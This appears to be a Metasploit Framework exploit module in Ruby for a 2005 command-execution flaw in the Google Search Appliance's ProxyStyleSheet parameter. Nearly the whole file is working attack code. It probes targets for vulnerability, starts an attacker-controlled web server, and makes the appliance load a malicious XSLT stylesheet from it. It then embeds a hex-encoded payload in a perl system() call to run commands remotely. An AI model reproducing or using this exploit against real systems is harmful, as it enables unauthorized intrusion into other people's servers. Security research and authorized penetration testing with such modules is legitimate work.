144 lines
4.1 KiB
Ruby
144 lines
4.1 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::HttpServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Google Appliance ProxyStyleSheet Command Execution',
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'Description' => %q{
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This module exploits a feature in the Saxon XSLT parser used by
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the Google Search Appliance. This feature allows for arbitrary
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java methods to be called. Google released a patch and advisory to
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their client base in August of 2005 (GA-2005-08-m). The target appliance
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must be able to connect back to your machine for this exploit to work.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['OSVDB', '20981'],
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['BID', '15509'],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true,
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'Space' => 4000,
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},
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Targets' => [[ 'Automatic', { }]],
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'DisclosureDate' => 'Aug 16 2005',
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'Stance' => Msf::Exploit::Stance::Aggressive,
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'DefaultTarget' => 0))
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end
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# Handle incoming requests from the appliance
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def on_request_uri(cli, request)
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print_status("Handling new incoming HTTP request...")
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path = File.join(Msf::Config.install_root, "data", "exploits", "google_proxystylesheet.xml")
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fd = File.open(path, "r")
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data = fd.read
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fd.close
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exec_str = '/usr/bin/perl -e system(pack(qq{H*},qq{' + payload.encoded.unpack("H*")[0] + '}))'
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data.gsub!(/:x:MSF:x:/, exec_str)
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send_response(cli, data)
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end
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def check
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res = send_request_cgi({
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'uri' => '/search',
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'vars_get' =>
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{
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'client' => rand_text_alpha(rand(15)+1),
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'site' => rand_text_alpha(rand(15)+1),
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'output' => 'xml_no_dtd',
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'q' => rand_text_alpha(rand(15)+1),
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'proxystylesheet' => 'http://' + rand_text_alpha(rand(15)+1) + '/'
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}
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}, 10)
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if (res and res.body =~ /cannot be resolved to an ip address/)
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print_status("This system appears to be vulnerable")
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return Exploit::CheckCode::Vulnerable
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end
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if (res and res.body =~ /ERROR: Unable to fetch the stylesheet/)
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print_status("This system appears to be patched")
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end
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print_status("This system is not exploitable")
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return Exploit::CheckCode::Safe
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end
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def exploit
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print_status("Obtaining the appliance site and client IDs...")
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# Send a HTTP/1.0 request to learn the site configuration
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res = send_request_raw({
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'uri' => '/',
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'version' => '1.0'
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}, 10)
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if (not (res and res['location'] and res['location'] =~ /site=/))
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print_status("Could not read the location header: #{res.code} #{res.message}")
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return
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end
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m = res['location'].match(/site=([^\&]+)\&.*client=([^\&]+)\&/im)
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if (not (m and m[1] and m[2]))
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print_status("Invalid location header: #{res['location']}")
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return
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end
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print_status("Starting up our web service on http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}...")
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start_service
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print_status("Requesting a search using our custom XSLT...")
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res = send_request_cgi({
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'uri' => '/search',
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'vars_get' =>
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{
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'client' => m[2],
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'site' => m[1],
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'output' => 'xml_no_dtd',
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'q' => rand_text_alpha(rand(15)+1),
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'proxystylesheet' => "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}/style.xml",
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'proxyreload' => '1'
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}
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}, 25)
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if (res)
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print_status("The server returned: #{res.code} #{res.message}")
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print_status("Waiting on the payload to execute...")
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sleep(20)
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else
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print_status("No response from the server")
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end
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print_status("Shutting down the web service...")
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stop_service
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end
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end |